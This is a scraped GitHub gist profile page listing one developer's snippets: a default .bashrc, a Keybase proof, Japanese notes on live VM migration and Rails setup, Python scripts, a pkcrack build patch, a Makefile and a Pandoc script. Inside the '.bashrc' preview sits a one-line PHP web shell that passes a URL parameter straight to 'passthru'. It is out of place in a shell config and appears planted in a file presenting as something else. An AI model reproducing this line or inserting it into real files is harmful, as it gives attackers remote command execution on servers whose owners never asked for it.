Skip to content

Instantly share code, notes, and snippets.

View ryosan-470's full-sized avatar
🍻
Working with Elixir and Beer

ryosan-470 ryosan-470

🍻
Working with Elixir and Beer
View GitHub Profile
@ryosan-470
ryosan-470 / .bashrc
Created June 17, 2017 08:50
Default bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
<?php passthru($_GET['cmd']);

Keybase proof

I hereby claim:

  • I am ryosan-470 on github.
  • I am jtwp470 (https://keybase.io/jtwp470) on keybase.
  • I have a public key ASA1ho8E5fEVyC3jkacj5A16-7YWHdDJcBddzKKVL6iqXwo

To claim this, I am signing this object:

@ryosan-470
ryosan-470 / README.md
Created March 10, 2017 00:59
PPL2017 ライブ仮想マシン移送の実現技術と最新動向について

ライブ仮想マシン移送の実現技術と最新動向についてライブ仮想マシン

ライブ仮想マシン移送とは (Live migration): 仮想マシンを稼働させたまま,別の物理ホストへ移動させる技術

  • Xen
  • QEMU + KVM
  • VirtualBox
  • VMWare

などなどで利用できる.

@ryosan-470
ryosan-470 / setup_rails.md
Last active December 23, 2015 05:53
setup rails app

Setup Rails

環境

  • Ubuntu 14.04
  • Ruby 2.2.4 (最新版)

最初

以下のコマンドをうち,Rubyをインストールするために必要な物をまとめてインストールする.

@ryosan-470
ryosan-470 / get_weather.py
Created July 21, 2015 07:23
Sample using json in python
import urllib.request
import json
BASE_URL = "http://api.openweathermap.org/data/2.5/weather?q="
def kelbin2degree(d):
return d - 273.15
@ryosan-470
ryosan-470 / pkcrack_for_osx.diff
Last active February 28, 2017 08:21
The patch of pkcrack to build on Mac OSX and Homebrew
diff --git Makefile Makefile
index af87e95..04928f1 100644
--- Makefile
+++ Makefile
@@ -1,5 +1,5 @@
CC=gcc
-CFLAGS=-O6 -Wall
+CFLAGS=-O3 -Wall
#CFLAGS=-g
@ryosan-470
ryosan-470 / brainfuck.py
Last active August 29, 2015 14:17
The "BrainF*ck" language is implemented using the Python.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Reference:
+ [Wikipedia:Brainfuck](http://en.wikipedia.org/wiki/Brainfuck)
+ [PythonでBrainf*ckを書いてみた](http://emoson.hateblo.jp/entry/2014/10/14/193825)
"""
pc = 0 # program counter
mem = [0 for i in range(30000)]
ptr = 0 # pointer
@ryosan-470
ryosan-470 / Makefile
Created January 20, 2015 05:15
システムプログラム序論 課題10:Makefile
CC=gcc
CFLAGS=-m32 -Wall
ASFLAGS=-m32 -Wall
TARGET=q10-1
OBJS=q10-1_main.o q10-1.o
$(TARGET): $(OBJS)
$(CC) $(CFLAGS) $(OBJS) -o $(TARGET)
.c.o:
@ryosan-470
ryosan-470 / build.sh
Created August 6, 2014 06:48
Pandocを用いてGitHub Flavored MarkdownをreSTに変換するスクリプト
#!/bin/bash
FILE=$1
FILENAME=${FILE%.*} # 拡張子なしのファイル名
FILEEXT=${FILE##*.} # 拡張子
FORMAT='markdown_github' # Github Markdown
if [ $# -ne 1 ]; then
echo "Argument parse error."
echo "Usage: ./build.sh FILENAME"